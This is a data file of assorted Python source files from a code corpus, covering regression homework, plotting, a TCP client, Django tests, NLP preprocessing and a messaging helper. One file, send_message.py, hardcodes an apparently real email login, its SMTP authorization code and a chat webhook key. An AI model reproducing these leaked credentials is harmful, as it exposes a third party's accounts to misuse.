+{"seq_id":"646186611","text":"# AI Assign 3, part 2\r\n# Remember to add the vector 1 (intercept) ahead of your data matrix. \r\n# They represent age (years), and weight (kilograms and last column is label, the height (meters)\r\n# seems we should scale variables, likley use mean and standard deviation of each feature\r\n# Scale each feature (i.e. age and weight) by its (population) standard deviation, and set its mean to zero.\r\n# scale = x-mu / stand dev\r\n# . Initialize your β’s to zero\r\n# run the algorithm for exactly 100 iterations with each alpha\r\n# Compare the convergence rate when α is small versus large. What is the ideal learning rate to obtain an accurate model?\r\n# In addition to the nine learning rates above, come up with your own choice of value for the learning rate.\r\n# numpy, scipy, pandas and scikit-learn\r\nimport pandas as pd\r\nimport numpy as np\r\nfrom sklearn import preprocessing\r\nfrom sklearn import linear_model\r\n\r\nalphas  = [0.001, 0.005, 0.01, 0.05, 0.1, 0.5, 1, 5, 10, 11] # note hy curley bracket on orig\r\n# remember to add one of my own rates\r\n################################################################################################\r\n# read into df\r\n#inputs = pd.read_csv('C:/barrett/Edx/AI/Assign 3/input2.csv', header=None,  names = ['age_years','weight_kilo', 'height_meters']) ##, skiprows=0)\r\ninputs = pd.read_csv('input2.csv', header=None,  names = ['age_years','weight_kilo', 'height_meters']) ##, skiprows=0)\r\n###################################################################################################\r\n# scale data and add column for intercept\r\ninput_file_scaled =  preprocessing.scale(inputs)\r\n\r\n\r\n#insert value of oneinto new column at postion 0 for the intercept\r\n#print(input_file_scaled)\r\n\r\ninput_file_scaled = np.insert(input_file_scaled ,0,1, axis=1)\r\n#print(input_file_scaled)\r\n###################################################################################################\r\n# linear regression via gradient descent\r\n##################################################################################################\r\n#output_file = 'C:/barrett/Edx/AI/Assign 3/output2.csv'\r\noutput_file = 'output2.csv'\r\nfile_out = open(output_file, 'w')\r\ni= 0\r\njb_iter  = [100, 100, 100, 100, 100, 100, 100, 100, 100, 200]\r\n\r\nwhile i < 10:\r\n    alpha_lp = alphas[i]\r\n    jb_iter_lp = jb_iter [i]\r\n    X = input_file_scaled[:,0:3]\r\n    Y = input_file_scaled[:,3:4]\r\n    linreg_lp = linear_model.SGDRegressor(alpha = alpha_lp, fit_intercept=False,  n_iter=jb_iter_lp, penalty = None, warm_start=False, verbose=0)\r\n    linreg_lp.fit(X,Y.ravel())\r\n    #print(linreg_lp.coef_[0], linreg_lp.coef_[1], linreg_lp.coef_[2])\r\n\r\n    file_out.write(\"%f, %d, %1.3f, %1.3f, %1.3f\\n\"%(alpha_lp, jb_iter_lp, linreg_lp.coef_[0], linreg_lp.coef_[1],linreg_lp.coef_[2]))\r\n    i=i+1\r\n# propper order alpha, number_of_iterations, b_0, b_age, and b_weight \r\n####################################################################################################\r\n# http://scikit-learn.org/stable/modules/preprocessing.html\r\n# http://scikit-learn.org/stable/modules/generated/sklearn.linear_model.Ridge.html#sklearn.linear_model.Ridge\r\n# http://scikit-learn.org/stable/modules/generated/sklearn.linear_model.SGDRegressor.html#sklearn.linear_model.SGDRegressor\r\n\r\n##########################################\r\n# code used during dev\r\n#  check slices\r\n#input_file_scaled\r\n#print (input_file_scaled[:,0:3])\r\n#print('break 1')\r\n#print (input_file_scaled[:,3:4])\r\n#print('break 2')\r\n#print (input_file_scaled)\r\n\r\n# assign is much easier in dataframe\r\n#file_size = len(input_file)\r\n#print (file_size)\r\n#inter_cept = np.ones(file_size)\r\n#print(inter_cept)\r\n#print(input_file)\r\n","sub_path":"AI Assign 3 part 2 submit.py","file_name":"AI Assign 3 part 2 submit.py","file_ext":"py","file_size_in_byte":3670,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"317063311","text":"from flask import Flask , render_template,request\nfrom horoscope import zodiac_sign\nfrom datetime import datetime\n\n# app = Flask(\"My Flask App\")\napp = Flask(__name__, template_folder='./templates') \napp.config['EXPLAIN_TEMPLATE_LOADING']=True \n\n\n\n@app.route(\"/\") \ndef default_path():\n\treturn render_template (\"home.html\") \n\n\n\n@app.route(\"/horoscope\", methods=[\"POST\"])\ndef read_form():\n\tform_data = request.form\n\tdate = datetime.strptime(form_data[\"dob\"], '%Y-%m-%d').date()\n\tmonth = date.month\n\tday = date.day\n\tprint(date)\n\tsign= zodiac_sign (month,day)\n\tprint(sign)\n\treturn render_template (sign.lower() +'.html')\n\n\n\nif __name__ == '__main__':\n\tapp.run(debug=True)\n","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":667,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"444448390","text":"#%%wavelet plot\n# this class is to read data from matlab data and plot it\nimport matplotlib.pyplot as plt\nimport numpy as np\nfrom scipy.io import loadmat\ndef pcolor(file_path):\n    \"\"\"\n    matlab pcolor data should be stored as x,y,z. x is vector, y is vector, and z is corresponding value at (x,y)\n    \"\"\"\n    mat=loadmat(file_path)\n    X,Y=np.meshgrid(mat['x'],mat['y'])\n    h=plt.pcolor(X,Y,mat['z'])\n    plt.axis([X.min(),X.max(),Y.min(),Y.max()])\n    plt.colorbar()\n    return h\n\ndef plot(file_path):\n    mat=loadmat(file_path)\n    h=plt.plot(mat['x'],mat['y'])\n    return h\n","sub_path":"Python/MatlabDataPlot.py","file_name":"MatlabDataPlot.py","file_ext":"py","file_size_in_byte":580,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"220145476","text":"from .Steps.step import StepException    #相對路徑(這個資料夾裡面的開始)\nclass Pipeline:\n    def __init__(self,steps):\n        self.steps = steps\n\n    def run(self,inputs):\n        data = None\n        for step in self.steps:\n            try:\n                data = step.process(data,inputs)\n            except StepEcception as e:\n                print('Exception happend:', e)\n                break\n\n","sub_path":"Yt_concate3/pipeline/pipeline.py","file_name":"pipeline.py","file_ext":"py","file_size_in_byte":414,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"543213031","text":"\nimport os\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport pickle\nfrom mpl_toolkits.basemap import Basemap, cm\nimport matplotlib.animation as animation\nfrom matplotlib import colors\n\nimport utils\nimport PCAmekong\n\ndatadir = 'data'\ndeltaname = 'Amazon'\ndatafile = 'inun_minremoved_v1v2.pkl'\n\n#Array of nans the size of dataset based on size of map\n#Array of bounding map edges\nmap = utils.gridEdges(datadir)\n\n#Actual inundation data for specified river\ndelta = utils.get_data(datadir, datafile,deltaname)\n\ncmap = cm.GMT_drywet\nvmin = np.nanmin(delta['data'])\nvmax = np.nanmax(delta['data'])\nnorm = colors.Normalize(vmin=vmin, vmax=vmax)\n\nfig = plt.figure()\nax = fig.add_subplot(2,2,1)\n#sets up basemap object to plot\nbm = utils.basemap(ax)\n\nX, Y = bm(map['lons'], map['lats'])\n#sets axis for the river we are observing\nax.axis(utils.mapbounds['Amazon'])\n\n#fills map with inundation data based on location of delta\nmap['map'][delta['inds'][0], delta['inds'][1]] = delta['data'].iloc[0,:]\ndate = delta['data'].index[0].strftime('%Y-%m-%d')\n#sets up colormesh to display over map\nim = bm.pcolormesh(X, Y, np.ma.masked_invalid(map['map']),cmap=cmap, norm=norm)\ncbar = bm.colorbar(im, \"bottom\", cmap=cmap, norm=norm)  \nax.set_title(\"Inundation: {}\".format(date))\n\n\nax1 = fig.add_subplot(2,2,2)\nax1.plot(delta['data'].iloc[:,0])\nax1.set_title('Location 1 data')\n\n#Clean Matrix without nan\nMekongMat, cleanind,delta_data  = PCAmekong.preprocess(delta['data'])\n#creates an array of mean values for each locations inundation\nmeanLoc = []\n#take the mean of each column(location) of mekong inundation data\nfor i in range(MekongMat.shape[1]):\n    meanLoc.append(np.mean(MekongMat[:,i]))\nmap['map'][delta['inds'][0], delta['inds'][1]] = meanLoc\n#create mean basemap\nax2= fig.add_subplot(2,2,3)\nbm2 = utils.basemap(ax2)\nax2.axis(utils.mapbounds['Amazon'])\nim2 = bm2.pcolormesh(X,Y, np.ma.masked_invalid(map['map']), cmap=cmap)\ncbar = bm2.colorbar(im, \"bottom\", cmap=cmap)\nax2.set_title(\"Inundation averages\")\n\n#create a plot of averages over time series\nmeanTime = []\nfor i in range(MekongMat.shape[0]):\n    meanTime.append(np.mean(MekongMat[i,:]))\nax3 = fig.add_subplot(2,2,4)\nax3.set_ylabel('Average Inundation')\nax3.plot(meanTime)\nax3.set_title(\"Inundation averages 1990 - 2010?\")\n\n# plt.show()\nfig.savefig('{}.png'.format('./graphs/Inundation_data'))\n\n","sub_path":"amazon_plot.py","file_name":"amazon_plot.py","file_ext":"py","file_size_in_byte":2351,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"34532878","text":"from datetime import time\n\nfrom django.core.urlresolvers import reverse\nfrom lunch.models import FoodType\nfrom rest_framework import status\n\nfrom ..views import FoodViewSet, StoreViewSet\nfrom .testcase import BusinessTestCase\n\n\nclass VersioningTestCase(BusinessTestCase):\n\n    def update_preorder_time(self, preorder_time, **kwargs):\n        url_kwargs = {\n            'pk': self.store.pk\n        }\n        url = reverse(\n            'business:store-detail',\n            kwargs=url_kwargs\n        )\n        request = self.factory.patch(\n            url,\n            {\n                'preorder_time': preorder_time,\n            },\n            **kwargs\n        )\n        return self.authenticate_request(\n            request=request,\n            view=StoreViewSet,\n            user=self.owner,\n            token=self.ownertoken,\n            view_actions={\n                'patch': 'update',\n            },\n            partial=True,\n            **url_kwargs\n        )\n\n    def test_store_preorder_time(self):\n        \"\"\"Test whether when editing Store.preorder_time changes it for all\n        of the FoodTypes.\"\"\"\n\n        preorder_time = time(hour=23)\n\n        for foodtype in FoodType.objects.filter(store=self.store):\n            self.assertNotEqual(\n                foodtype.preorder_time,\n                preorder_time\n            )\n\n        response = self.update_preorder_time(\n            preorder_time,\n            HTTP_X_VERSION='2.2.1'\n        )\n        self.assertEqual(\n            response.status_code,\n            status.HTTP_200_OK\n        )\n\n        for foodtype in FoodType.objects.filter(store=self.store):\n            self.assertEqual(\n                foodtype.preorder_time,\n                preorder_time\n            )\n\n        new_preorder_time = time(hour=22)\n        response = self.update_preorder_time(\n            new_preorder_time,\n            HTTP_X_VERSION='2.2.2'\n        )\n        self.assertEqual(\n            response.status_code,\n            status.HTTP_200_OK\n        )\n\n        for foodtype in FoodType.objects.filter(store=self.store):\n            self.assertEqual(\n                foodtype.preorder_time,\n                preorder_time\n            )\n\n    def update_preorder_days(self, preorder_days, **kwargs):\n        url_kwargs = {\n            'pk': self.food.pk\n        }\n        url = reverse(\n            'business:food-detail',\n            kwargs=url_kwargs\n        )\n        request = self.factory.patch(\n            url,\n            {\n                'preorder_days': preorder_days,\n            },\n            **kwargs\n        )\n        return self.authenticate_request(\n            request=request,\n            view=FoodViewSet,\n            user=self.owner,\n            token=self.ownertoken,\n            view_actions={\n                'patch': 'update',\n            },\n            partial=True,\n            **url_kwargs\n        )\n\n    def test_food_preorder_days(self):\n        \"\"\"Test whether setting Food.preorder_days to 0 in older API sets it to None.\"\"\"\n\n        self.food.preorder_days = 100\n        self.food.save()\n\n        response = self.update_preorder_days(\n            preorder_days=0,\n            HTTP_X_VERSION='2.2.1'\n        )\n        self.assertEqual(\n            response.status_code,\n            status.HTTP_200_OK\n        )\n        self.food.refresh_from_db()\n        self.assertEqual(\n            self.food.preorder_days,\n            None\n        )\n\n        response = self.update_preorder_days(\n            preorder_days=0,\n            HTTP_X_VERSION='2.2.2'\n        )\n        self.assertEqual(\n            response.status_code,\n            status.HTTP_200_OK\n        )\n        self.food.refresh_from_db()\n        self.assertEqual(\n            self.food.preorder_days,\n            0\n        )\n","sub_path":"lunchbreak/business/tests/test_versioning.py","file_name":"test_versioning.py","file_ext":"py","file_size_in_byte":3763,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"315874418","text":"import time\nimport socket\nimport threading\nimport selectors\nfrom ANET_V1.AutoNET.Socket._Tool import get_my_ip, get_socket_buffer_size\nfrom ANET_V1.AutoNET.Socket._decode import cut_message_by_head, get_data_len, decode_message\nfrom ANET_V1.AutoNET.Socket._decode import LEN_TOTAL, build_tx_message\n\n\nclass TcpClient(object):\n\n    def __init__(self, recv_cb, event_cb, error_cb, port, rx_length=256, launch_delay=0):\n        # CALLBACK\n        self._recv_cb = recv_cb\n        self._event_cb = event_cb\n        self._error_cb = error_cb\n        # TCP\n        self._ena = True\n        self._select = None\n        self._tcp = None\n        self._ts_connected = 0\n        self._is_connected = False\n        self._server_ip = None\n        self._server_port = port\n        self._rx_buffer = bytes()\n        self._rx_length = rx_length\n        # Thread\n        self._thread = threading.Thread(target=self._working)\n        self._thread_interval = 1\n        self._thread.daemon = True\n        self._thread_delay = launch_delay\n        self._thread.start()\n\n    def _working(self):\n        time.sleep(self._thread_delay)\n        self._tcp = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n        self._select = selectors.DefaultSelector()\n        while 1:\n            if self._is_connected:\n                # EVENTS CHECK\n                events = self._select.select(timeout=self._thread_interval)\n                for key, mask in events:\n                    callback = key.data\n                    callback(key.fileobj)\n            else:\n                # NOTHING TO DO\n                if self._ena is False or self._server_ip is None:\n                    time.sleep(self._thread_interval)\n                    continue\n                # CONNECT\n                if time.time() - self._ts_connected > self._thread_interval:\n                    self._ts_connected = time.time()\n                    try:\n                        self._tcp.close()\n                        self._tcp = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n                        self._tcp.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\n                        self._tcp.setsockopt(socket.SOL_SOCKET, socket.SO_SNDBUF, get_socket_buffer_size())\n                        self._tcp.setsockopt(socket.SOL_SOCKET, socket.SO_RCVBUF, get_socket_buffer_size())\n                        self._tcp.connect((self._server_ip, self._server_port))\n                    except socket.error as err:\n                        if err.__class__ != TypeError:\n                            self._error_cb(module='ANET_TCP', code='CONNECT', value=err)\n                        continue\n                    # REGISTER\n                    self._is_connected = False\n                    if self._tcp.fileno() != -1:\n                        self._is_connected = True\n                        self._select.register(self._tcp, selectors.EVENT_READ, self._recv)\n                    event_value = (self._is_connected, (self._server_ip, self._server_port))\n                    self._event_cb(module='ANET_TCP', code='CONNECT', value=event_value)\n\n    def _recv_length(self, conn, rx_length):\n        rx_msg = bytes()\n        try:\n            msg = conn.recv(rx_length)\n            if msg:\n                rx_msg += msg\n            else:\n                self._server_lost()\n        except (BlockingIOError, socket.timeout, OSError) as err:\n            print('<LOST> BlockingIOError', err)\n        except (ConnectionResetError, ConnectionAbortedError) as err:\n            print('<LOST> ConnectionResetError', err)\n            self._server_lost()\n        return rx_msg\n\n    def _recv(self, conn):\n        self._rx_buffer += self._recv_length(conn=conn, rx_length=self._rx_length)\n        while self._rx_buffer:\n            # CUT_TO_HEAD\n            msg_with_head = cut_message_by_head(buffer=self._rx_buffer)\n            if not msg_with_head:\n                break\n            # GET_DATA_LEN\n            data_len, miss_len = get_data_len(msg_with_head=msg_with_head)\n            if miss_len > 0:  # MISS_DATA\n                new_buffer = self._recv_length(conn=conn, rx_length=miss_len)\n                if new_buffer:\n                    self._rx_buffer += new_buffer\n                else:\n                    break\n            else:  # PARSE_DATA\n                data, self._rx_buffer, error = decode_message(msg_with_head=msg_with_head, data_len=data_len)\n                if data:\n                    self._recv_cb(rx_msg=data, ip=self._server_ip)\n                if error:\n                    self._error_cb(module='ANET_TCP', code=error, value=self._rx_buffer)\n\n    # SEND\n    def send(self, data: bytes):\n        bytes_sent = 0\n        if self._is_connected:\n            try:\n                msg, msg_len = build_tx_message(data=data)\n                bytes_sent = self._tcp.send(msg)\n                if bytes_sent != msg_len:\n                    print('ERROR, TCP_TX', f'{bytes_sent}/{len(msg)}', msg)\n                    self._error_cb(module='ANET_TCP', code='TX_BUF_OVERFLOW', value=msg)\n                bytes_sent -= LEN_TOTAL\n            except (BlockingIOError, socket.timeout, OSError) as err:\n                pass\n            except (ConnectionResetError, ConnectionAbortedError) as err:\n                self._error_cb(module='ANET_TCP', code='SEND', value=err)\n                self._server_lost()\n        return bytes_sent\n\n    def send_direct(self, msg):\n        bytes_sent = 0\n        if self._is_connected:\n            try:\n                bytes_sent = self._tcp.send(msg)\n                if bytes_sent != len(msg):\n                    print('ERROR, TCP_TX', f'{bytes_sent}/{len(msg)}', msg)\n                    self._error_cb(module='ANET_TCP', code='TX_BUF_OVERFLOW', value=msg)\n                bytes_sent -= LEN_TOTAL\n            except (BlockingIOError, socket.timeout, OSError) as err:\n                pass\n            except (ConnectionResetError, ConnectionAbortedError) as err:\n                self._error_cb(module='ANET_TCP', code='SEND', value=err)\n                self._server_lost()\n        return bytes_sent\n\n    def _server_lost(self):\n        self._is_connected = False\n        # print(f'[debug] tcp={self._tcp}, map={self._select.get_map()}')\n        if self._select is not None and self._tcp.fileno() != -1 and self._tcp in self._select.get_map():\n            self._select.unregister(self._tcp)\n        self._tcp.close()\n        self._event_cb(module='ANET_TCP', code='CONNECT', value=(False, (self._server_ip, self._server_port)))\n\n    # CONNECTION\n    def set_server_ip(self, ip):\n        self._server_ip = ip\n\n    def get_server_ip(self):\n        return self._server_ip\n\n    def get_server_port(self):\n        return self._server_port\n\n    def is_connected(self):\n        return self._is_connected\n\n    # ENABLE\n    def set_enable(self, ena):\n        self._ena = bool(ena)\n        if self._ena is False and self._tcp is not None:\n            self._server_ip = None\n            self._server_lost()\n\n    def get_enable(self):\n        return self._ena\n\n    @staticmethod\n    def get_my_ip():\n        return get_my_ip()\n\n    def exit(self):\n        self._tcp.close()\n\n\nif __name__ == '__main__':\n\n    def recv_cb_(rx_msg, ip):\n        print(f'<TCP_RX>  {rx_msg} ({ip})')\n\n    def event_cb_(module, code, value):\n        print(f'<EVENT>  {module} {code} {value}')\n\n    def error_cb_(module, code, value):\n        print(f'<ERROR>  {module} {code} {value}')\n\n    SER_PORT = 10001\n\n    client = TcpClient(recv_cb_, event_cb_, error_cb_, port=SER_PORT)\n    client.set_server_ip(ip=client.get_my_ip())\n    while 1:\n        time.sleep(1)\n        client.send(data=b'message from client')\n\n\n\n","sub_path":"ANET_V1/AutoNET/Socket/TcpClient.py","file_name":"TcpClient.py","file_ext":"py","file_size_in_byte":7649,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"260803630","text":"import numpy as np\n\nfrom openmdao.api import ExplicitComponent\n\nclass TowerStressSpectrum(ExplicitComponent):\n\n\tdef initialize(self):\n\t\tself.options.declare('freqs', types=dict)\n\n\tdef setup(self):\n\t\tfreqs = self.options['freqs']\n\t\tself.omega = freqs['omega']\n\t\tN_omega = len(self.omega)\n\n\t\tself.add_input('resp_tower_moment', val=np.zeros((24,N_omega,11)), units='(N*m)**2*s/rad')\n\t\tself.add_input('D_tower_p', val=np.zeros(11), units='m')\n\t\tself.add_input('wt_tower_p', val=np.zeros(11), units='m')\n\n\t\tself.add_output('resp_tower_stress', val=np.zeros((24,N_omega,11)), units='MPa**2*s/rad')\n\n\tdef compute(self, inputs, outputs):\n\t\tD_tower_p = inputs['D_tower_p']\n\t\twt_tower_p = inputs['wt_tower_p']\n\t\t\n\t\tfor angle in xrange(24):\n\t\t\tfor i in xrange(len(D_tower_p)):\n\t\t\t\toutputs['resp_tower_stress'][angle,:,i] = inputs['resp_tower_moment'][angle,:,i] / (np.pi / 64. * (D_tower_p[i]**4. - (D_tower_p[i] - 2. * wt_tower_p[i])**4.))**2. * (D_tower_p[i] / 2. * 10.**(-6.))**2.","sub_path":"tower_stress_spectrum.py","file_name":"tower_stress_spectrum.py","file_ext":"py","file_size_in_byte":973,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"81588984","text":"# -*- coding:utf-8 -*-\n# @文件名称  :ceshi.py\n# @项目名称  :Promotion_Fee\n# @软件名称  :PyCharm\n# @创建时间  :2021-04-06 10:54\n# @用户名称  :紫月孤忆\nimport json\nimport yamail\nimport datetime\nimport requests\nfrom datetime import datetime\nfrom os.path import exists\n\n\nclass Send:\n    def __init__(self, e_mail=None, c_mail=None, up=None, wx_key=None, per=None):\n        \"\"\"\n        发送信息的基础配置\n        :param e_mail: 接收人邮箱\n        :param c_mail: 抄送人邮箱\n        :param up: 邮箱的账户密码配置\n        :param wx_key: 企业微信机器人秘钥\n        :param per: 企业微信需要@的人\n        \"\"\"\n        if e_mail is None:\n            e_mail = ['2275914231@qq.com']\n        if c_mail is None:\n            c_mail = ['2275914231@qq.com']\n        if wx_key is None:\n            wx_key = '38bd063a-f79b-47b1-a27d-06c6c88476ee'\n        if per is None:\n            per = ['@all']\n        if up is None:\n            up = ('17630583910@163.com', 'DYKEELXEYILMTFNP')\n        self.USER_MAIL_LIST = e_mail\n        self.USER_MAIL_CC = c_mail\n        self.MAIL_INFO = {\n            'host': 'smtp.163.com',\n            'user': up[0],\n            'password': up[1],\n            'port': 465\n        }  # 邮箱信息\n        self.WX_TYPE = 'send'\n        self.WX_KEY = wx_key\n        self.WX_URL = 'https://qyapi.weixin.qq.com/cgi-bin/webhook/{0}?key={1}{2}'\n        self.PER = per\n\n    def send_mail(self, title, content, file=None):\n        try:\n            smtp = yamail.SMTP(**self.MAIL_INFO)\n            smtp.send(to=self.USER_MAIL_LIST, cc=self.USER_MAIL_CC,\n                      subject=title, contents=content,\n                      attachments=file)\n        except Exception as e:\n            print(e)\n\n    def send_msg(self, wx_content):\n        \"\"\"\n        企业微信发送消息\n        :param wx_content:\n        :return:\n        \"\"\"\n        # 数据部机器人\n        now_time = datetime.now().strftime('%Y-%m-%d %H:%M:%S')\n        send_messages = now_time + ':' + wx_content\n        string_text = {\n            \"msgtype\": \"text\",\n            \"text\": {\"content\": send_messages,\n                     \"mentioned_mobile_list\": self.PER,\n                     }\n        }\n        # 编码转换\n        data = json.dumps(string_text, ensure_ascii=False).encode('utf-8')\n        headers = {'Content-Type': 'application/json'}\n\n        res = requests.post(self.WX_URL.format(self.WX_TYPE, self.WX_KEY, ''), data=data, headers=headers)\n        response = res.json()['errmsg']\n        return '运行成功' if response == 'ok' else '推送成功'\n\n    def send_file(self, file_path):\n        \"\"\"\n        企业微信发送文件\n        :param file_path:\n        :return:\n        \"\"\"\n        if exists(file_path):\n            try:\n                id_url = self.WX_URL.format('upload_media', self.WX_KEY, '&type=file')\n                wx_url = self.WX_URL.format(self.WX_TYPE, self.WX_KEY, '')\n                data = {'media': open(file_path, 'rb')}\n                mess = requests.post(url=id_url, files=data)\n                dict_data = mess.json()\n                media_id = dict_data['media_id']\n                data = {\n                    \"msgtype\": \"file\",\n                    \"file\": {\"media_id\": media_id}\n                }\n                r = requests.post(url=wx_url, json=data)\n            except BaseException as e:\n                return e is not None\n            return True\n        else:\n            return False\n","sub_path":"Django_Project/send_message.py","file_name":"send_message.py","file_ext":"py","file_size_in_byte":3493,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"162992632","text":"from __future__ import print_function\n\nimport yt\nimport numpy as np\n\ndef get_halo_center(ds, center_guess, **kwargs):\n    # returns a list of the halo center coordinates\n    radius = kwargs.get(\"radius\", 50.)  # search radius in kpc\n    vel_radius = kwargs.get('vel_radius', 2.)\n\n    # now determine the location of the highest DM density, which should be the center of the main halo\n    ad = ds.sphere(center_guess, (radius, 'kpc')) # extract a sphere centered at the middle of the box\n    x,y,z = np.array(ad[\"x\"]), np.array(ad[\"y\"]), np.array(ad[\"z\"])\n    dm_density =  ad['Dark_Matter_Density']\n    imax = (np.where(dm_density > 0.9999 * np.max(dm_density)))[0]\n    halo_center = [x[imax[0]], y[imax[0]], z[imax[0]]]\n    print('We have located the main halo at :', halo_center)\n\n    sph = ds.sphere(halo_center, (vel_radius,'kpc'))\n    velocity = [np.mean(sph['x-velocity']), np.mean(sph['y-velocity']), np.mean(sph['z-velocity'])]\n\n    return halo_center, velocity\n","sub_path":"get_halo_center.py","file_name":"get_halo_center.py","file_ext":"py","file_size_in_byte":970,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"298339615","text":"import numpy as np\r\nimport os\r\nimport json\r\nimport random\r\nimport sklearn\r\nfrom sklearn.feature_extraction.text import TfidfVectorizer\r\nimport jieba\r\nfrom sklearn.externals import joblib\r\n\r\nclass TfidfFormatter:\r\n    def __init__(self,conf):\r\n        self.text_use_which=conf[\"text_use_which\"]\r\n        self.label_use_which=conf[\"label_use_which\"]\r\n        self.segmentor=jieba\r\n        self.vectorizer=TfidfVectorizer(min_df=2, max_df=1.0, token_pattern='\\\\b\\\\w+\\\\b')\r\n        self.task=conf[\"task\"]\r\n        if self.task==\"Classification\":\r\n            self.label2id={}\r\n            self.id2label=[]\r\n    def format(self,data,train=False):\r\n        texts=[]\r\n        labels=[]\r\n        meta_infos=[]\r\n        for d in data:\r\n            text=' '.join(self.segmentor.cut(d[self.text_use_which]))\r\n            texts.append(text)\r\n            if (labels is not None):\r\n                if self.label_use_which in d:\r\n                    label=d[self.label_use_which]\r\n                    labels.append(label)\r\n                else:\r\n                    assert not train\r\n                    labels=None\r\n            if \"meta_info\" in d.keys():\r\n                meta_infos.append(d[\"meta_info\"])\r\n            else:\r\n                meta_infos.append({})\r\n        \r\n        if train:\r\n            self.vectorizer.fit(texts)\r\n            if self.task==\"Classification\":\r\n                all_labels=list(set(labels))\r\n                for l in all_labels:\r\n                    if not l in self.label2id:\r\n                        self.label2id[l]=len(self.label2id)\r\n                self.id2label=all_labels\r\n        if self.task==\"Classification\" and (labels is not None):\r\n            labels=[self.label2id[l] for l in labels]\r\n        \r\n        texts=self.vectorizer.transform(texts)\r\n        \r\n        ret={\r\n            \"x\":texts,\r\n            \"meta_info\":meta_infos\r\n        }\r\n        if labels is not None:\r\n            ret[\"y\"]=labels\r\n        return ret\r\n    def pred2label(self,pred):\r\n        if self.task!=\"Classification\":\r\n            return pred\r\n        ret=[]\r\n        for ele in pred:\r\n            ret.append(self.id2label[ele])\r\n        return ret\r\n    def dump(self,path):\r\n        if self.task==\"Classification\":\r\n            json.dump(self.label2id,open(os.path.join(path,\"label2id.json\"),\"w\"))\r\n            json.dump(self.id2label,open(os.path.join(path,\"id2label.json\"),\"w\"))\r\n        joblib.dump(self.vectorizer,os.path.join(path,\"tf-idf.m\"))\r\n    def load(self,path):\r\n        if self.task==\"Classification\":\r\n            self.label2id=json.load(open(os.path.join(path,\"label2id.json\"),\"r\"))\r\n            self.id2label=json.load(open(os.path.join(path,\"id2label.json\"),\"r\"))\r\n        self.vectorizer=joblib.load(os.path.join(path,\"tf-idf.m\"))\r\n\r\n","sub_path":"formatter/TfidfFormatter.py","file_name":"TfidfFormatter.py","file_ext":"py","file_size_in_byte":2765,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"271628345","text":"import cv2\nimport numpy as np\nfrom skimage.measure import label\n\ndef fill(im_in):\n    th, im_th = cv2.threshold(im_in, 200, 255, cv2.THRESH_BINARY_INV)\n    im_floodfill = im_th.copy()  # Copy the thresholded image.\n    h, w = im_th.shape[:2]  # Mask used to flood filling.\n    mask = np.zeros((h + 2, w + 2), np.uint8)  # Notice the size needs to be 2 pixels than the image.\n    cv2.floodFill(im_floodfill, mask, (0, 0), 255)  # Floodfill from point (0, 0)\n    im_floodfill_inv = cv2.bitwise_not(im_floodfill)  # Invert floodfilled image\n    im_out = im_th | im_floodfill_inv  # Combine the two images to get the foreground.\n    return im_out\n\ndef largestConnectComponent(bw_img):\n    labeled_img, num = label(bw_img, neighbors=4, background=0, return_num=True)\n    max_label = 0\n    max_num = 0\n    if num <= 1 :\n        return bw_img\n    else:\n        for j in range(num):\n            i = j + 1\n            if np.sum(labeled_img == i) > max_num:\n                max_num = np.sum(labeled_img == i)\n                max_label = i\n        lcc = (labeled_img == max_label)\n    return lcc.astype(np.float64)\n\ndef imfill_select_whole_seq(im):\n    for i in range(im.shape[1]):\n        im_i = im[0, i]\n        ED_endo = (1 - (im_i == 1).astype(np.uint8)) * 255\n        ED_endo_post_fill = fill(ED_endo) / 255\n        ED_endo_post_select_lcc = largestConnectComponent(ED_endo_post_fill)\n        ED_epi = ((im_i == 2).astype(np.float64) - ED_endo_post_select_lcc > 0).astype(\n            np.float64) + ED_endo_post_select_lcc\n        ED_epi = (1 - ED_epi.astype(np.uint8)) * 255\n        ED_epi_post_fill = fill(ED_epi) / 255\n        ED_myo_post_select_lcc = largestConnectComponent(ED_epi_post_fill) * 2 - ED_endo_post_select_lcc * 2\n        ED_la = (1 - (im_i == 3).astype(np.uint8)) * 255\n        ED_la_post_fill = fill(ED_la) / 255\n        ED_la_post_select_lcc = largestConnectComponent(ED_la_post_fill) * 3\n        im[0, i] = ED_endo_post_select_lcc + ED_myo_post_select_lcc + ED_la_post_select_lcc\n    return im.astype(np.long)\n","sub_path":"utils/post_process.py","file_name":"post_process.py","file_ext":"py","file_size_in_byte":2025,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
